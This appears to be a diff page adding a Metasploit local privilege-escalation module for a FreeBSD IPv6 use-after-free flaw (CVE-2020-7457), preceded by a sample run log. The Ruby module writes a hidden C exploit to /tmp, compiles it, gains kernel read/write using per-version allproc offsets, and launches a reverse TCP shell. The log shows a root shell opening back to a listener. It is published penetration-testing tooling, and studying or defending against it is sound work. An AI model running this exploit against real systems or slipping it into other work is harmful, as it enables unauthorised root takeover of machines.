||||||
|
```
|
||||||
|
|
||||||
|
### FreeBSD 12.1-RELEASE r354233 (amd64)
|
||||||
|
|
||||||
|
```
|
||||||
|
msf5 > use exploit/freebsd/local/ip6_setpktopt_uaf_priv_esc
|
||||||
|
[*] Using configured payload bsd/x64/shell_reverse_tcp
|
||||||
|
msf5 exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > set lhost 172.16.191.165
|
||||||
|
lhost => 172.16.191.165
|
||||||
|
msf5 exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > set session 1
|
||||||
|
session => 1
|
||||||
|
msf5 exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > run
|
||||||
|
|
||||||
|
[!] SESSION may not be compatible with this module.
|
||||||
|
[*] Started reverse TCP handler on 172.16.191.165:4444
|
||||||
|
[*] Executing automatic check (disable AutoCheck to override)
|
||||||
|
[+] The target appears to be vulnerable.
|
||||||
|
[*] Using target: FreeBSD 12.1-RELEASE r354233 - allproc offset: 0x1df7648
|
||||||
|
[*] Writing '/tmp/.V8vZ5.c' (14162 bytes) ...
|
||||||
|
[*] Compiling /tmp/.V8vZ5.c ...
|
||||||
|
[*] Writing '/tmp/.ok9laPn' (218 bytes) ...
|
||||||
|
[*] Launching exploit (timeout: 30s) ...
|
||||||
|
[*] uid=0(root) gid=0(wheel) egid=1002(asdf) groups=1002(asdf)
|
||||||
|
[+] Success! Executing payload...
|
||||||
|
[*] Command shell session 2 opened (172.16.191.165:4444 -> 172.16.191.140:35808) at 2020-07-09 18:04:24 -0400
|
||||||
|
[+] Deleted /tmp/.V8vZ5.c
|
||||||
|
[+] Deleted /tmp/.V8vZ5
|
||||||
|
[+] Deleted /tmp/.ok9laPn
|
||||||
|
|
||||||
|
id
|
||||||
|
uid=0(root) gid=0(wheel) egid=1002(asdf) groups=1002(asdf)
|
||||||
|
uname -a
|
||||||
|
FreeBSD freebsd-12-1-amd64 12.1-RELEASE FreeBSD 12.1-RELEASE r354233 GENERIC amd64
|
||||||
|
```
|
||||||
|
|
|
@ -0,0 +1,244 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Local
|
||||||
|
Rank = GreatRanking
|
||||||
|
|
||||||
|
prepend Msf::Exploit::Remote::AutoCheck
|
||||||
|
include Msf::Post::File
|
||||||
|
include Msf::Post::Unix
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(
|
||||||
|
update_info(
|
||||||
|
info,
|
||||||
|
'Name' => 'FreeBSD ip6_setpktopt Use-After-Free Privilege Escalation',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a race and use-after-free vulnerability in the
|
||||||
|
FreeBSD kernel IPv6 socket handling. A missing synchronization lock
|
||||||
|
in the `IPV6_2292PKTOPTIONS` option handling in `setsockopt` permits
|
||||||
|
racing `ip6_setpktopt` access to a freed `ip6_pktopts` struct.
|
||||||
|
|
||||||
|
This exploit overwrites the `ip6po_pktinfo` pointer of a `ip6_pktopts`
|
||||||
|
struct in freed memory to achieve arbitrary kernel read/write.
|
||||||
|
|
||||||
|
This module has been tested successfully on:
|
||||||
|
|
||||||
|
FreeBSD 9.0-RELEASE #0 (amd64);
|
||||||
|
FreeBSD 9.1-RELEASE #0 r243825 (amd64);
|
||||||
|
FreeBSD 9.2-RELEASE #0 r255898 (amd64);
|
||||||
|
FreeBSD 9.3-RELEASE #0 r268512 (amd64);
|
||||||
|
FreeBSD 12.0-RELEASE r341666 (amd64); and
|
||||||
|
FreeBSD 12.1-RELEASE r354233 (amd64).
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Andy Nguyen', # @theflow0 - discovery and exploit
|
||||||
|
'bcoles' # metasploit
|
||||||
|
],
|
||||||
|
'DisclosureDate' => '2020-07-07',
|
||||||
|
'Platform' => ['bsd'], # FreeBSD
|
||||||
|
'Arch' => [ARCH_X64],
|
||||||
|
'SessionTypes' => ['shell'],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2020-7457'],
|
||||||
|
['EDB', '48644'],
|
||||||
|
['PACKETSTORM', '158341'],
|
||||||
|
['URL', 'https://hackerone.com/reports/826026'],
|
||||||
|
['URL', 'https://bsdsec.net/articles/freebsd-announce-freebsd-security-advisory-freebsd-sa-20-20-ipv6'],
|
||||||
|
['URL', 'https://www.freebsd.org/security/patches/SA-20:20/ipv6.patch'],
|
||||||
|
['URL', 'https://github.com/freebsd/freebsd/blob/master/sys/netinet6/ip6_var.h'],
|
||||||
|
['URL', 'https://github.com/freebsd/freebsd/blob/master/sys/netinet6/ip6_output.c']
|
||||||
|
],
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[
|
||||||
|
'Automatic',
|
||||||
|
{}
|
||||||
|
],
|
||||||
|
[
|
||||||
|
'FreeBSD 9.0-RELEASE #0',
|
||||||
|
{
|
||||||
|
allproc: '0xf01e40'
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[
|
||||||
|
'FreeBSD 9.1-RELEASE #0 r243825',
|
||||||
|
{
|
||||||
|
allproc: '0x1028880'
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[
|
||||||
|
'FreeBSD 9.2-RELEASE #0 r255898',
|
||||||
|
{
|
||||||
|
allproc: '0x11c9ba0'
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[
|
||||||
|
'FreeBSD 9.3-RELEASE #0 r268512',
|
||||||
|
{
|
||||||
|
allproc: '0x1295800'
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[
|
||||||
|
'FreeBSD 12.0-RELEASE r341666',
|
||||||
|
{
|
||||||
|
allproc: '0x1df3c38'
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[
|
||||||
|
'FreeBSD 12.1-RELEASE r354233',
|
||||||
|
{
|
||||||
|
allproc: '0x1df7648'
|
||||||
|
}
|
||||||
|
],
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'PAYLOAD' => 'bsd/x64/shell_reverse_tcp',
|
||||||
|
'PrependFork' => true,
|
||||||
|
'WfsDelay' => 10
|
||||||
|
},
|
||||||
|
'Notes' =>
|
||||||
|
{
|
||||||
|
'Stability' => [CRASH_OS_RESTARTS],
|
||||||
|
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
|
||||||
|
},
|
||||||
|
'DefaultTarget' => 0
|
||||||
|
)
|
||||||
|
)
|
||||||
|
register_advanced_options([
|
||||||
|
OptInt.new('NUM_SPRAY', [true, 'Spray iterations', 256]),
|
||||||
|
OptInt.new('NUM_SPRAY_RACE', [true, 'Race iterations', 32]),
|
||||||
|
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def base_dir
|
||||||
|
datastore['WritableDir'].to_s
|
||||||
|
end
|
||||||
|
|
||||||
|
def upload(path, data)
|
||||||
|
print_status("Writing '#{path}' (#{data.size} bytes) ...")
|
||||||
|
rm_f(path)
|
||||||
|
write_file(path, data)
|
||||||
|
register_file_for_cleanup(path)
|
||||||
|
end
|
||||||
|
|
||||||
|
def strip_comments(c_code)
|
||||||
|
c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')
|
||||||
|
end
|
||||||
|
|
||||||
|
def select_target(kernel_version)
|
||||||
|
targets.each do |t|
|
||||||
|
return t if kernel_version.include?(t.name)
|
||||||
|
end
|
||||||
|
nil
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
kernel_version = cmd_exec('uname -v').to_s
|
||||||
|
|
||||||
|
unless kernel_version.include?('FreeBSD')
|
||||||
|
return CheckCode::Safe('Target system is not FreeBSD')
|
||||||
|
end
|
||||||
|
|
||||||
|
kernel_arch = cmd_exec('uname -m').to_s
|
||||||
|
|
||||||
|
unless kernel_arch.include?('64')
|
||||||
|
return CheckCode::Safe("System architecture #{kernel_arch} is not supported")
|
||||||
|
end
|
||||||
|
|
||||||
|
vprint_good("System architecture #{kernel_arch} is supported")
|
||||||
|
|
||||||
|
unless select_target(kernel_version)
|
||||||
|
return CheckCode::Safe("No target for #{kernel_version}")
|
||||||
|
end
|
||||||
|
|
||||||
|
vprint_good("#{kernel_version} appears vulnerable")
|
||||||
|
|
||||||
|
unless command_exists?('cc')
|
||||||
|
return CheckCode::Safe('cc is not installed')
|
||||||
|
end
|
||||||
|
|
||||||
|
vprint_good('cc is installed')
|
||||||
|
|
||||||
|
CheckCode::Appears
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
if is_root?
|
||||||
|
unless datastore['ForceExploit']
|
||||||
|
fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
unless writable?(base_dir)
|
||||||
|
fail_with(Failure::BadConfig, "#{base_dir} is not writable")
|
||||||
|
end
|
||||||
|
|
||||||
|
if target.name == 'Automatic'
|
||||||
|
kernel_version = cmd_exec('uname -v').to_s
|
||||||
|
my_target = select_target(kernel_version)
|
||||||
|
unless my_target
|
||||||
|
fail_with(Failure::NoTarget, "No target for #{kernel_version}")
|
||||||
|
end
|
||||||
|
else
|
||||||
|
my_target = target
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Using target: #{my_target.name} - allproc offset: #{my_target[:allproc]}")
|
||||||
|
|
||||||
|
exploit_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
|
||||||
|
exploit_data = exploit_data('CVE-2020-7457', 'exploit.c')
|
||||||
|
|
||||||
|
if my_target.name.start_with?('FreeBSD 12')
|
||||||
|
exploit_data.gsub!('// #define FBSD12', '#define FBSD12')
|
||||||
|
end
|
||||||
|
|
||||||
|
exploit_data.gsub!(/#define ALLPROC_OFFSET .*$/, "#define ALLPROC_OFFSET #{my_target[:allproc]}")
|
||||||
|
|
||||||
|
exploit_data.gsub!(/#define NUM_SPRAY 0x100/, "#define NUM_SPRAY #{datastore['NUM_SPRAY']}")
|
||||||
|
exploit_data.gsub!(/#define NUM_KQUEUES 0x100/, "#define NUM_KQUEUES #{datastore['NUM_SPRAY']}")
|
||||||
|
exploit_data.gsub!(/#define NUM_SPRAY_RACE 0x20/, "#define NUM_SPRAY_RACE #{datastore['NUM_SPRAY_RACE']}")
|
||||||
|
|
||||||
|
upload("#{exploit_path}.c", strip_comments(exploit_data))
|
||||||
|
|
||||||
|
print_status("Compiling #{exploit_path}.c ...")
|
||||||
|
output = cmd_exec("cc '#{exploit_path}.c' -o '#{exploit_path}' -std=c99 -lpthread")
|
||||||
|
register_file_for_cleanup(exploit_path)
|
||||||
|
|
||||||
|
unless output.blank?
|
||||||
|
print_error(output)
|
||||||
|
fail_with(Failure::Unknown, "#{exploit_path}.c failed to compile")
|
||||||
|
end
|
||||||
|
|
||||||
|
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
|
||||||
|
|
||||||
|
upload_and_chmodx(payload_path, generate_payload_exe)
|
||||||
|
register_file_for_cleanup(payload_path)
|
||||||
|
|
||||||
|
timeout = 30
|
||||||
|
print_status("Launching exploit (timeout: #{timeout}s) ...")
|
||||||
|
output = cmd_exec(exploit_path, nil, timeout).to_s
|
||||||
|
output.each_line { |line| vprint_status line.chomp }
|
||||||
|
|
||||||
|
sleep(3)
|
||||||
|
|
||||||
|
print_status(cmd_exec('id').to_s)
|
||||||
|
|
||||||
|
unless is_root?
|
||||||
|
fail_with(Failure::Unknown, 'Exploit completed without elevating privileges')
|
||||||
|
end
|
||||||
|
|
||||||
|
print_good('Success! Executing payload...')
|
||||||
|
|
||||||
|
cmd_exec("#{payload_path} & echo ")
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue